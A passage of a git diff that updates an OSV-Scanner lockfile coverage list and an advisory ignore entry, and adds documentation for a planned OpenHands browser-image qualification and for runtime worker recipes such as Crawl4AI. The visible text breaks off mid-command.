diff --git a/.github/osv-scanner-lockfiles.json b/.github/osv-scanner-lockfiles.json index b717308d2..0faaf90b3 100644 --- a/.github/osv-scanner-lockfiles.json +++ b/.github/osv-scanner-lockfiles.json @@ -1,6 +1,13 @@ { - "description": "Every tracked dependency lockfile or manifest that security-scan.yml's osv-scanner job scans. A lockfile entry without a parser lets OSV-Scanner infer it from the file name; parser names the OSV-Scanner v2 extractor for names it cannot infer (--lockfile=:). A covered_by_lockfile entry is a manifest OSV-Scanner v2.6.0 has no source extractor for; its sibling lockfile is scanned instead. An excluded entry is a tracked lockfile deliberately left out of the scan; it needs a reason and an evidence path, and only a deliberately vulnerable test fixture qualifies. A lockfile entry that names a config is scanned in an invocation of its own under that config alone (an explicit --config applies to every input of one invocation), and every other entry together under .github/osv-scanner.toml; the tests bind each such config to its one lock. tests/test_osv_lockfile_coverage.py fails when a tracked lockfile or manifest is in none of the three lists.", + "description": "Every tracked dependency lockfile or manifest that security-scan.yml's osv-scanner job scans. A lockfile entry without a parser lets OSV-Scanner infer it from the file name; parser names the OSV-Scanner v2 extractor for names it cannot infer (--lockfile=:). A covered_by_lockfile entry is a manifest OSV-Scanner v2.6.0 has no source extractor for; its sibling lockfile is scanned instead. An excluded entry is a tracked lockfile deliberately left out of the scan; it needs a reason and an evidence path. Permitted exclusions are deliberately vulnerable test fixtures and captured native resolver or probe inputs retained with original hash/command evidence that no shipped installation recipe consumes. Captured inputs may retain unused platform or historical dependency branches; they do not qualify a runtime or grant an advisory exception. Every active installation lock and frozen application lock remains scanned. A lockfile entry that names a config is scanned in an invocation of its own under that config alone (an explicit --config applies to every input of one invocation), and every other entry together under .github/osv-scanner.toml; the tests bind each such config to its one lock. tests/test_osv_lockfile_coverage.py fails when a tracked lockfile or manifest is in none of the three lists.", "lockfiles": [ + {"path": "blueprints/runtime-workers/crawl4ai/requirements.lock", "parser": "requirements.txt"}, + {"path": "blueprints/runtime-workers/crawl4ai/test-requirements.lock", "parser": "requirements.txt"}, + {"path": "blueprints/runtime-workers/crawl4ai/grader/package-lock.json"}, + {"path": "blueprints/runtime-workers/gpt-researcher/requirements.lock", "parser": "requirements.txt"}, + {"path": "blueprints/runtime-workers/gpt-researcher/build-requirements.lock", "parser": "requirements.txt"}, + {"path": "blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock", "parser": "requirements.txt"}, + {"path": "blueprints/runtime-workers/deerflow/e2e/requirements.lock", "parser": "requirements.txt"}, { "path": ".github/requirements-ci.txt", "parser": "requirements.txt" @@ -172,6 +179,12 @@ } ], "covered_by_lockfile": [ + {"path": "blueprints/runtime-workers/crawl4ai/requirements.in", "lockfile": "blueprints/runtime-workers/crawl4ai/requirements.lock"}, + {"path": "blueprints/runtime-workers/crawl4ai/grader/package.json", "lockfile": "blueprints/runtime-workers/crawl4ai/grader/package-lock.json"}, + {"path": "blueprints/runtime-workers/gpt-researcher/requirements.in", "lockfile": "blueprints/runtime-workers/gpt-researcher/requirements.lock"}, + {"path": "blueprints/runtime-workers/gpt-researcher/build-requirements.in", "lockfile": "blueprints/runtime-workers/gpt-researcher/build-requirements.lock"}, + {"path": "blueprints/runtime-workers/gpt-researcher/proxy-requirements.in", "lockfile": "blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock"}, + {"path": "blueprints/runtime-workers/deerflow/e2e/requirements.txt", "lockfile": "blueprints/runtime-workers/deerflow/e2e/requirements.lock"}, { "path": "blueprints/convergence-practice/application-delivery/package.json", "lockfile": "blueprints/convergence-practice/application-delivery/pnpm-lock.yaml" @@ -210,6 +223,26 @@ } ], "excluded": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-constraints.txt", + "reason": "Frozen native compile-input reproducibility fixture for the PyJWT 2.15.0 relock, retaining original bytes, command and target-specific selection in its receipt. It includes unused platform branches and is not an installable runtime closure. No recipe installer consumes it. The selected Linux x86_64/CPython 3.13.15 closure remains blueprints/runtime-workers/openhands/requirements.lock, which is natively scanned and SHA-bound by the ignore guard. Active runtime locks remain scanned; this fixture exclusion grants no advisory ignore or runtime acceptance.", + "evidence": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930.json" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-constraints.txt", + "reason": "Frozen native compile-input reproducibility fixture for the intermediate urllib3 2.8.0 relock, retaining original bytes, command and target-specific selection in its receipt. It includes unused platform branches and is not an installable runtime closure. No recipe installer consumes it. The selected Linux x86_64/CPython 3.13.15 closure remains blueprints/runtime-workers/openhands/requirements.lock, which is natively scanned and SHA-bound by the ignore guard. Active runtime locks remain scanned; this fixture exclusion grants no advisory ignore or runtime acceptance.", + "evidence": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-constraints.txt", + "reason": "Frozen native compile-input reproducibility fixture copied from the reviewed main lock, with original bytes, baseline SHA, command and target-specific selection retained in the reconciliation receipt. It includes unused platform branches and is not an installable runtime closure. No recipe installer consumes this captured evidence fixture. The selected Linux x86_64/CPython 3.13.15 closure remains blueprints/runtime-workers/openhands/requirements.lock, which is natively scanned and SHA-bound by the independent ignore guard. All nine active runtime install locks remain scanned; this fixture exclusion grants no advisory ignore or runtime acceptance.", + "evidence": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-commands.json" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-constraints.txt", + "reason": "Frozen native compile-input reproducibility fixture, retained with its original hash and command in the relock receipt. It constrains the qualification resolver and includes unused Windows/macOS branches from the prior multi-platform export; it is not an installable runtime closure. No recipe installer consumes this captured evidence fixture. The selected Linux/Python 3.13.15 closure is blueprints/runtime-workers/openhands/requirements.lock, whose exact bytes are natively scanned and SHA-bound by the independent ignore guard. Both active OpenHands install locks and every other runtime install lock remain scanned; this exclusion grants no advisory ignore or runtime acceptance.", + "evidence": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json" + }, { "path": "evidence/artifacts/gap-wave2-20260923/us-equities__identity-provenance/raw/dvc-fixround3/repo-git__dvc.lock", "reason": "Gap-wave-2 captured evidence fixture for layer us-equities__identity-provenance (catalog PR: gap-wave2 agent-lab-17): the dependency list a gap check installed into an isolated cache prefix, or a copy of a probe repository's lock, retained so the receipt is reproducible. Nothing in the catalog installs it, and scanning it would report advisories for a probe environment rather than for a shipped dependency.", diff --git a/.github/osv-scanner.toml b/.github/osv-scanner.toml index d80bb4a2b..633284006 100644 --- a/.github/osv-scanner.toml +++ b/.github/osv-scanner.toml @@ -24,6 +24,11 @@ # that still lists that advisory. [[IgnoredVulns]] id = "GHSA-8mgp-746c-j5xp" +# 2026-09-30: the GPT Researcher and Crawl4AI source-only allowances are bound +# to exact locks in IGNORE_ALLOWED_LOCKS and independently rechecked in +# evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json. +# No new ignored advisory or expiry extension; dynamic/model-artifact paths +# and broader worker activation remain outside this bounded source review. ignoreUntil = 2026-12-24 reason = "nltk through 3.10.3: TransitionParser.train/parse, AveragedPerceptron.save/load, PerceptronTagger.save_to_json and nltk.classify.maxent.save_maxent_params open caller-chosen model paths with the built-in open() instead of the pathsec helpers (the advisory's comparison case is the guarded PerceptronTagger.load_from_json, which in 3.10.3 still authorizes a caller-chosen private model directory), so untrusted input that chooses a model import or export path can read or write outside the allowed roots; pathsec enforcement is on by default (ENFORCE = True in nltk/pathsec.py of 3.10.3). No patched release as of 2026-09-27; the fixes are merged on develop (nltk #3757, #3759, #3813). Each lock allowed to pin nltk is named, with its reviewed sha256 and non-reachability evidence, in IGNORE_ALLOWED_LOCKS in tests/test_osv_lockfile_coverage.py. Lumibot lock: nltk 3.10.3 is a transitive pin (google-adk, llama-index-core) of the evaluation-only Lumibot 4.6.1 environment, run offline under bwrap, and no trial code calls these APIs (evidence: blueprints/us-equities/engine-trials/spy-one-zero-20260926/repository-checks.json). Expiry plan: relock every allowed lock onto the first nltk release that ships those fixes, then delete this ignore; delete the Lumibot lock unless a verdict has adopted Lumibot." diff --git a/blueprints/convergence-practice/runtime-image-browser-20260930/README.md b/blueprints/convergence-practice/runtime-image-browser-20260930/README.md new file mode 100644 index 000000000..62bdc2806 --- /dev/null +++ b/blueprints/convergence-practice/runtime-image-browser-20260930/README.md @@ -0,0 +1,108 @@ +# Planned native browser-image qualification + +This is a source-backed experiment plan, with no observations or adoption. +It follows the repository's [convergence contract](../contract-reference.md) +and preserves the existing full-image, observer and task-quality gates. + +## Pinned source and comparison + +Use OpenHands software-agent-sdk v1.50.0 at +`dcf401af7a9a302ef92cb7d092e1df9bb659daa5` and its unchanged +[native builder](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/build.py) +and [Dockerfile](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile). +The baseline is the published full image at digest +`sha256:6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc`. +The candidate uses the builder's supported browser capability selection. +It removes the optional OpenVSCode and nested-Docker packages; retaining +Chromium and the full stage's GitHub CLI is source composition evidence. +Preservation of the selected terminal, file-editor, planner, browser and +delegation tools still needs native execution. The upstream `minimal` +composition omits browser and GitHub CLI and does not meet this plan's contract. + +The [retained image triage](../../runtime-workers/openhands/evidence/image-triage-20260930.json) +records native scan exit 0 with 56 fixable high/critical matches; its command +generated a report without a severity threshold. Those findings leave image +acceptance pending. A native manifest read on September 30 returned the same +published digest. Historical findings remain historical; this plan does not +turn that identity check into a passing fresh scan. Source review corrected +the initial shorthand "failed scan" to distinguish native command exit from +the unmet acceptance rule. + +The Dockerfile pins system CPython 3.13.15 and separately copies a managed +3.13 interpreter. A base-image override alone does not repair both copies. +The [CPython backport](https://github.com/python/cpython/pull/157192) +is at `b8f23e307097552eaea2604383a12ab280520d0d`; the +[3.13 release schedule](https://github.com/python/peps/blob/main/peps/pep-0719.rst) +places 3.13.16 on October 6. A scheduled release is not an available remedy +or acceptance evidence. The candidate can therefore still fail the threshold. + +## Execution boundary and native commands + +Before execution, the coordinator and the active measurement owner settle the +host-resource boundary and record native container/build prerequisites, +available disk and memory, selected base/snapshot identities and the owned +cleanup path. Perform one model-free build in an isolated source checkout and +existing rootless container context, using a verified Linux/amd64 builder. +The native `--arch` flag labels tags; the local `--load` path does not pass +`--platform` to Buildx. Do not change a shared gateway, account, launcher, +global setting, deployed Collector or measurement window. No build, pull, +service launch or model qualification is performed by this plan. + +From the pinned SDK source, the supported proposed commands are: + +```sh +rtk uv run --frozen python -m openhands.agent_server.docker.build --base-image python-node-runtime --image localhost/nas-openhands-trial --image-flavor default --target binary --custom-tags v1.50.0-browser --install-capabilities browser --install-acp-providers claude-code,codex,gemini-cli --arch amd64 --load +rtk grype docker:localhost/nas-openhands-trial:dcf401a-v1.50.0-browser-amd64 --platform linux/amd64 --only-fixed --fail-on high --output json +rtk docker run --rm --platform linux/amd64 localhost/nas-openhands-trial:dcf401a-v1.50.0-browser-amd64 --check-browser +``` + +Correction during source review: `--custom-tags` takes a suffix, so the bare +`:v1.50.0-browser` target first proposed in research was wrong. Native +`BuildOptions.all_tags` evaluation returned exit 0 and the corrected tag +above, following [the pinned derivation](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/build.py#L581). +The image's native `--check-browser` renders `about:blank`, closes its +executor and exits 0 or 1 before server startup, following +[the pinned check](https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/__main__.py#L138). +No browser or model execution is claimed by this source check. + +Use Grype 0.119.0, preserving the actual JSON and exit status. Its native +threshold failure is exit 2. Retain the candidate image identity, SBOM/database +identity and every attempt, including a failed build or scan. A passing scan +requires zero fixable high/critical findings under the exact recorded native +command; removing one optional package is insufficient. + +## Predeclared quality and usage rules + +A scan pass and native browser check are necessary for this image trial. +The selected tools must retain their installed native contracts and no tool +may be declared preserved from dependency metadata alone. The image remains +a candidate until these checks and recovery/cleanup evidence are retained. +This plan does not accept a provider route, whole-task quality, independent +observer, Gate A/P3 or a token-saving comparison. + +Future task qualification uses the maintained +[OpenHands benchmarks](https://github.com/OpenHands/benchmarks/tree/405bae7140d7e961a75f4910a0b2e7069731db96) +and its native SWE-bench/GAIA evaluation paths. That revision pins SDK +`43376f1868ffd702746080714a59c16d3f69ec12`, so compatibility with v1.50.0 +must be qualified before using it. Freeze instance IDs, dataset identities, +an explicit route and one worker with a 12-iteration cap. The GAIA +`question_scorer` is the native grading path; aggregating stored scores is +not a new grading run. Dataset access and native prerequisites stay separate +from this model-free image trial. No credential is fetched for this plan. + +Laminar telemetry inside an agent process does not independently observe that +process. A future observer must have separate host ownership and controls. +[Tetragon process lifecycle](https://tetragon.io/docs/use-cases/process-lifecycle/) +is a research lead with Linux BTF/privilege prerequisites, not a selected or +installed service and not an oracle for model quality, skills or token use. + +All provider and whole-task usage remains unknown. Model-free execution may +record observed native usage separately; no missing field becomes zero and +no historical cumulative receipt is added twice. Do not publish savings from +this plan. Roll back by retaining the current selection and removing only the +trial's owned image/build artifacts under the native lifecycle. + +The pinned repository is MIT-licensed, and the SDK/tools/server declare +Python >=3.12. Third-party image contents retain their own licenses and +runtime compatibility requirements; this source review does not qualify +them collectively. diff --git a/blueprints/convergence-practice/runtime-image-browser-20260930/experiment.json b/blueprints/convergence-practice/runtime-image-browser-20260930/experiment.json new file mode 100644 index 000000000..14ad2eea9 --- /dev/null +++ b/blueprints/convergence-practice/runtime-image-browser-20260930/experiment.json @@ -0,0 +1,114 @@ +{ + "schema_version": 1, + "kind": "convergence_experiment", + "status": "planned", + "lane": "native-agent-engineering", + "task_and_failure": "The unchanged v1.50.0 published full image has a retained native report, exit 0, with 56 fixable high/critical matches that leave image acceptance pending. Trial the supported browser capability composition without claiming that it repairs both Python interpreters or qualifies runtime workers.", + "primary_sources_and_pins": [ + { + "url": "https://github.com/OpenHands/software-agent-sdk/tree/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "revision": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5" + }, + { + "url": "https://github.com/python/cpython/commit/b8f23e307097552eaea2604383a12ab280520d0d", + "revision": "b8f23e307097552eaea2604383a12ab280520d0d" + }, + { + "url": "https://github.com/OpenHands/benchmarks/tree/405bae7140d7e961a75f4910a0b2e7069731db96", + "revision": "405bae7140d7e961a75f4910a0b2e7069731db96" + } + ], + "discovery_provenance": [ + "Installed native builder/server and Grype help, immutable v1.50.0 builder/Dockerfile source, published image manifest identity and official release/source comparison were inspected before declaring this plan.", + "Astra/Max source research was used for consequential image/observer architecture. A native pure tag calculation corrected the initially proposed bare custom tag; no image build, scan, browser run or service was executed.", + "Direct native Claude owner replies permit source-only planning and keep actual resource execution behind the measurement/gateway preflight. Peers' statements are coordination leads; source capability claims use pinned upstream files." + ], + "license_and_compatibility": "Pinned OpenHands SDK repository is MIT-licensed and SDK/tools/server require Python >=3.12. Third-party image licenses and runtime contracts remain separate. The native local load path requires an independently verified Linux/amd64 rootless builder; --arch labels the tag. The benchmark revision uses a different SDK submodule and is not qualified against v1.50.0 by this plan.", + "baseline_and_candidate": { + "baseline": "Published full v1.50.0 image sha256:6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc with retained native report, exit 0; 56 fixable high/critical matches leave image acceptance pending.", + "candidate": "Pinned v1.50.0 native binary builder with browser capability only and unchanged default ACP providers; one owned Linux/amd64 rootless image, not built or accepted yet." + }, + "frozen_inputs": { + "base_revision": "1f2cdce5a3cdf3f965d45196d8158d12431394d2", + "tasks": [ + "build-browser-image", + "scan-browser-image", + "check-native-browser" + ], + "roles": [ + "qualification-coordinator" + ], + "sources": [ + { + "path": "blueprints/runtime-workers/openhands/pins.json", + "sha256": "73d0465fe1f6b463e68848c447c1124457fe1b5c2132022be543b581d563e6df" + }, + { + "path": "blueprints/convergence-practice/contract-reference.md", + "sha256": "fe2fe90486c16f93daa9ed3b9855b02f8acdcd6737f484015e92436499cef19e" + } + ], + "inputs": [ + { + "path": "blueprints/runtime-workers/openhands/config/profiles.json", + "sha256": "7d5327765d5680df3038e3745cce8f57312198aa88e1aeca22e52a6b6ea754b7" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json", + "sha256": "a5e9a112706a8822ca23e0f82199b3cbc3164982db80c8720b087c98335285d1" + } + ], + "evaluation": [ + { + "path": "blueprints/convergence-practice/runtime-image-browser-20260930/README.md", + "sha256": "3ccbeb353a113cc50679761d4a93cba3f2ac27f8b9fdf06c435b35beedb0cdeb" + } + ] + }, + "predeclared_metrics": { + "quality_rule": "Preserve every attempt, native output and image/base/snapshot/database identities. Native Grype --only-fixed --fail-on high must exit 0 with zero fixable high/critical findings, and the image's native --check-browser must exit 0. Selected tool contracts, recovery and cleanup still need their own native evidence before image acceptance. No provider, observer, task-quality or Gate A/P3 promotion follows.", + "usage_rule": "No usage or savings claim. Provider and whole-task usage stay unknown; missing counters do not become zero. Historical cumulative receipts remain non-additive." + }, + "runtime_and_platform": { + "platform": "Planned Linux/amd64 qualification using the existing rootless Docker context; host resources and native version checks remain preflight, not observed acceptance.", + "tools": [ + { + "name": "OpenHands software-agent-sdk native image builder and server", + "version": "1.50.0 / dcf401af7a9a302ef92cb7d092e1df9bb659daa5" + }, + { + "name": "Grype", + "version": "0.119.0" + } + ], + "isolation": "Separate pinned source checkout, one owned image/build path and existing rootless Linux/amd64 container context. No global settings/accounts/launcher/gateway/Collector deployment. No build/run before measurement-owner host-load agreement, native capacity and gateway-owner preflight/notices; no work inside sealed windows." + }, + "commands": [ + "rtk uv run --frozen python -m openhands.agent_server.docker.build --base-image python-node-runtime --image localhost/nas-openhands-trial --image-flavor default --target binary --custom-tags v1.50.0-browser --install-capabilities browser --install-acp-providers claude-code,codex,gemini-cli --arch amd64 --load", + "rtk grype docker:localhost/nas-openhands-trial:dcf401a-v1.50.0-browser-amd64 --platform linux/amd64 --only-fixed --fail-on high --output json", + "rtk docker run --rm --platform linux/amd64 localhost/nas-openhands-trial:dcf401a-v1.50.0-browser-amd64 --check-browser" + ], + "observations": [], + "failures_and_skips": [], + "limitations": [ + "Planned only: no image build/pull, fresh scan, browser execution, model trial or privileged observer was performed.", + "The published-package recipe's LiteLLM 1.93.2 repair does not modify the pinned upstream workspace or image. The unchanged frozen workspace still targets 1.93.0; this plan claims no image remedy for GHSA-3cv6-jpf6-8222.", + "The unchanged full-image gate and both Python-interpreter remedy requirements remain open. A future release schedule or base-only override is not acceptance.", + "Native image composition is source-supported, but runtime preservation of the selected terminal/file-editor/planner/browser/delegation tool stack remains unverified.", + "Observer ownership, benchmark compatibility, frozen tasks and complete attempt/judge accounting remain separate qualifications. GAIA stored-score aggregation is not independent grading.", + "The offline convergence checker verifies declared structure, hashes and consistency only; it neither certifies upstream authenticity nor executes this plan." + ], + "decision_and_scope": { + "decision": "trial", + "scope": "Planned bounded model-free browser-capability image qualification only; retain current selections and all unresolved runtime acceptance gates.", + "qualification_run_ids": [] + }, + "rollback": "Retain current accepted defaults and failed full-image gate. After a permitted trial, remove only owned image/build artifacts through the native lifecycle; do not mutate a shared service, gateway, account or deployed Collector.", + "next_decision_changing_test": "After the owners' resource/window preflight, execute one native pinned browser-only build and retain the exact scan/browser results, all identities and cleanup. A remaining Python finding keeps the gate failed; an available upstream remedy requires a separately frozen follow-up.", + "usage_assessment": { + "claim": "none", + "coverage": "partial", + "expected_run_ids": [], + "coverage_artifact": null + } +} diff --git a/blueprints/runtime-workers/README.md b/blueprints/runtime-workers/README.md new file mode 100644 index 000000000..e5256d8aa --- /dev/null +++ b/blueprints/runtime-workers/README.md @@ -0,0 +1,85 @@ +# Native runtime worker candidates + +Use one native coordinator and a bounded worker for the current task. These +recipes compose maintained upstream runtimes; they do not replace native agent +loops, native sign-ins, caching or compaction. Each candidate has its own +installation, task contract, state, cleanup and acceptance boundary. A passing +fixture or a source pin does not promote the entire roster. + +| Task | Source-backed runtime and integration | Current qualification | +| --- | --- | --- | +| Claude research, review and GitHub coordination | Native Claude Code and [reviewed role/workflow dispatch](../../examples/claude-native/workflows/README.md); [direct cross-session coordination receipt](../../docs/decisions/2026-09-30-runtime-worker-coordination.md) | Actual peer replies received; default-harness owner retains global SDK/config promotion | +| Programmatic GPT tools and thread recovery | Official [Codex Python SDK 0.159.2](https://github.com/openai/codex/tree/ff6aec96948b70d94983af2641a6b67c94faeff5/sdk/python), native custom-provider config through OmniRoute Responses | Separate shared-lane follow-up branch: real dynamic tool and new-process resume; bounded local integration, not a default promotion | +| Coding, planning, review, browser and bounded child tasks | [OpenHands SDK/server 1.50.0](openhands/README.md), eight task profiles, native planning/browser/TaskToolSet, persistence and bounded goal review | 1,208 selected unchanged upstream tests passed; live image, independent observer and task-quality gates pending | +| Grounded report research | [GPT Researcher v3.7.0](gpt-researcher/README.md), native keyword context and LangChain Responses configuration | Native install and 24 selected unchanged tests; no report/citation-quality acceptance | +| Multi-step research runtime | [DeerFlow v2.1.0](deerflow/README.md), source-backed ChatOpenAI Responses adapter and scoped extensions | Native install/CLI, 309 selected backend tests and 8 GAIA scorer tests; upstream dependency override and live runtime gates remain | +| Browser crawling and deterministic extraction | [Crawl4AI v0.9.4](crawl4ai/README.md), model-free REST jobs for a separate Responses caller | Real model-free native job and 16 unchanged extraction tests; no end-to-end caller quality acceptance | +| Task-scoped skills | [Pinned skill trial](skills/README.md), native description discovery and body loading when invoked | Trial remains unaccepted; source freshness and native discovery are narrower than invocation evidence | + +Exact research-roster outputs, failures and source hashes are in the +[qualification artifacts](../../evidence/artifacts/runtime-roster-20260930/README.md). +OpenHands' [upgrade outputs](openhands/evidence/upgrade-150-commands.json) and +[image triage](openhands/evidence/image-triage-20260930.json) remain separate. +The Codex SDK follow-up is held for the Claude owner's pin promotion and the +shared-lane acknowledgement; its actual thread total is excluded from Gate A. + +## Route and state contract + +The qualification route is the explicit `cx/gpt-6-astra-max` alias on the clean +loopback OmniRoute lane, using Responses and max effort. It records the plan's +explicit model choice; it does not replace current Sol/Ultra coordination and +Sol/Max worker defaults. Claude uses its native model/account path. A separate +20129 compression arm is a candidate requiring fresh model discovery and a +matched quality/usage comparison. Older `sharedgw/*` recipes are historical +trial inputs, not evidence that those aliases are currently advertised. + +Keep provider selection, model, effort, route discovery and actual execution +distinct. Do not add sampling parameters unsupported by the selected reasoning +route. Crawl4AI's native LLM extraction uses Chat Completions and remains an +explicitly selected, unqualified comparison; default crawling uses no model. +No optional embedding, memory or GPU service starts merely because a recipe +lists it. Native credentials remain native and private. + +Each writing worker needs an owned checkout and bounded paths. Child tasks, +goal judges, persistence, interruption and resume use the selected upstream +runtime's supported interfaces. OpenHands limits TaskToolSet fan-out to two +children, child iterations to twelve and goal review to three. Its goal judge +has a separate usage ID. Local server profiles and the Cloud profiles API are +different interfaces; source inspection does not qualify a Cloud API on the +local server. + +## Skills, extensions and token practice + +Load the task profile's selected skills and reachable tools. The trial's broad +inventory is a source catalog; it is not a startup prompt or an instruction to +install every skill. Native discovery provides names/descriptions; invocation +loads the selected body. Resources are part of a skill's source tree, so an +unchanged `SKILL.md` alone cannot qualify changed resources. GPT Researcher +configuration or DeerFlow extension metadata does not prove that an arbitrary +`SKILL.md` body was loaded. Record actual invocation separately. + +Use exact-source reads, lexical retrieval, compact tool results and context +processing according to the information needed. Keep native caches and +compaction. Measure complete attempts before changing a default: parents, +children, retries, failed conditions and judges belong to the same experiment. +Count the final cumulative native thread snapshot once; cache and reasoning +subsets are not additional tokens. Unknown provider/whole-task usage stays +unknown. No enclosing-task saving is claimed by these receipts. + +## Gates before broader adoption + +Run the existing source-pinned native quality tasks and discriminating controls +for the requested capability: OpenHands' SWE-bench harness, GPT Researcher's +DeepResearch-Bench-II grader, DeerFlow's GAIA scorer and Crawl4AI's deterministic +extraction assertions. For review and GitHub repair, freeze the seeded defect +or failing-check oracle and independently inspect the resulting diff and native +check. Grader installation or a mocked tool stream is not a task-quality pass. +Hosted GitHub Actions validate deterministic artifacts; native Claude runs +retain their own host/model evidence. + +OpenHands' full image needs maintained replacement inputs and a native rescan. +The host-owned observer must independently bind skills/tool events and source +versions to the inputs; worker-writable event files cannot provide that claim. +Gate A/P3, compression quality and whole-task metering remain open. The current +foundation catalog and dashboard retain these gates instead of treating the +roster as accepted. diff --git a/blueprints/runtime-workers/crawl4ai/.gitignore b/blueprints/runtime-workers/crawl4ai/.gitignore new file mode 100644 index 000000000..cd92d167b --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/.gitignore @@ -0,0 +1,2 @@ +.research/ +__pycache__/ diff --git a/blueprints/runtime-workers/crawl4ai/README.md b/blueprints/runtime-workers/crawl4ai/README.md new file mode 100644 index 000000000..8bc3458d5 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/README.md @@ -0,0 +1,582 @@ +# Crawl4AI runtime worker — recipe, not host acceptance + +This worker uses **unclecode/crawl4ai v0.9.4** for crawling, filtered Markdown and +structured extraction. Default dispatch uses native **model-free crawling**. +Its content is available to a separately dispatched GPT Responses caller; the crawler +makes no model request. Native LLM extraction uses Chat Completions at this pin +and does not qualify the Astra Responses lane. The earlier frozen LLM +extraction/Promptfoo trial is retained as an explicitly selected historical +comparison (`--kind extraction`), with acceptance still pending. +The authenticated rootless Docker service offers the upstream +API and MCP endpoints to other workers. This is a foundation-lane recipe prepared +for coordinator review; no packages were installed, images pulled, services +started, gateway calls made, or live gateway database read during construction. + +## Native qualification, 2026-09-30 + +The later isolated installation, official image pull and native model-free REST +job completed. One page returned native success; content quality was not graded +and no LLM was called. Sixteen unchanged upstream extraction tests passed, with +one skip and four network cases deselected. A separate four-package test overlay +in [test-requirements.lock](test-requirements.lock) is not part of the runtime +lock; the combined native compatibility check passed for 99 distributions. +Only the owned crawl container/network were stopped and removed. Exact returned +outputs and original artifact hashes are in the +[native receipt](../../../evidence/artifacts/runtime-roster-20260930/crawl4ai-native.json). +No integrated Responses caller or citation-quality acceptance is claimed. + +Two upstream limitations affect the requested configuration. The reviewed server +does not expose the per-call LLM options needed for the gateway header/temperature +contract, so container consumers use non-LLM crawling and FIT Markdown. Also, +the WebSocket bridge appears incompatible with its declared MCP SDK message +envelope. Both endpoints are configured and the E2E observes both. SSE is the required +dispatch transport; WebSocket results are diagnostic and remain unqualified. The recipe does not patch +the upstream runtime or turn either limitation into a pass. + +## Workflow dispatch + +After the coordinator installs the reviewed snapshot, a workflow child runs the +following Bash sequence. The run ID identifies an immutable request; repeating +`start` with the same arm/input returns its status, while reusing it for a +different request is refused. `start` writes `status.json` and an incomplete +`receipt.json` before launching background work. Every operation prints one JSON +object containing the deterministic receipt path: +`$HOME/.local/state/native-agent-stack/runtime-workers/crawl4ai/runs//receipt.json`. + +```bash +rtk bash blueprints/runtime-workers/crawl4ai/dispatch.sh start --run-id crawl-control-001 --arm control --url https://example.com/ +rtk bash blueprints/runtime-workers/crawl4ai/dispatch.sh wait --run-id crawl-control-001 --arm control --timeout 55 +rtk bash blueprints/runtime-workers/crawl4ai/dispatch.sh result --run-id crawl-control-001 --arm control +``` + +Repeat `wait` while the returned state is `starting` or `running`; a wait is +bounded to 55 seconds. Then read the printed receipt path. `start` exit 0 means +submission accepted. For `wait`/`result`, exit **0 = pass, 2 = setup failure, +3 = negative upstream verdict, 4 = incomplete evidence** (including work still +running). A setup exception produces a receipt with an error class, without the +exception's private text. A host file lock serializes extraction attempts so the +two arms cannot overlap the fixed fixture/container ports. A killed dispatcher +leaves its incomplete status for investigation; it never silently resubmits. + +For engines-on, finish the control run and use the same sequence with +`--run-id crawl-engines-001 --arm engines-on`. Model-free crawl does not measure +gateway compression. Explicit `--kind extraction` +runs the historical native Python extraction/Promptfoo comparison; it is not an arbitrary +web extraction schema. Its upstream basis is +[unclecode/crawl4ai@133e1d92, pricing example:15–53](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/docs/examples/llm_extraction_openai_pricing.py#L15-L53). +The detached status wrapper is local integration using +[CPython@v3.12.12, subprocess.py](https://github.com/python/cpython/blob/v3.12.12/Lib/subprocess.py). + +For general non-LLM crawling, the native REST fallback is also dispatched through +Bash. Start the persistent container first, then run: + +```bash +rtk bash blueprints/runtime-workers/crawl4ai/dispatch.sh start --run-id crawl-page-001 --arm control --kind crawl --url https://example.com/ +rtk bash blueprints/runtime-workers/crawl4ai/dispatch.sh wait --run-id crawl-page-001 --arm control --timeout 55 +rtk bash blueprints/runtime-workers/crawl4ai/dispatch.sh result --run-id crawl-page-001 --arm control +``` + +This sends `POST /crawl/job`, expects 202, and polls `GET /crawl/job/{task_id}`; +completed native results go to the adjacent private `result.json`. It accepts +HTTPS seed URLs and offers no hook, JavaScript, provider or LLM strategy argument. +The job ID stays private and never enters the receipt. Native status and per-page +`success` fields own this verdict; it makes no GPT calls and claims no graded +content accuracy. Sources: +[job.py:60–64,114–149](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/deploy/docker/job.py#L114-L149), +[api.py:587–605,997–1078](https://github.com/unclecode/crawl4ai/blob/133e1d92e37885dfccc03ea2e3687d06c98b7ceb/deploy/docker/api.py#L997-L1078). + +Register the recommended native MCP transport from the consumer's project directory +on the host (the builder has not run this): + +```bash +rtk python3 "$HOME/.local/share/codex-ecosystem/tools/crawl4ai-0.9.4/recipe/mcp-config.py" config +rtk python3 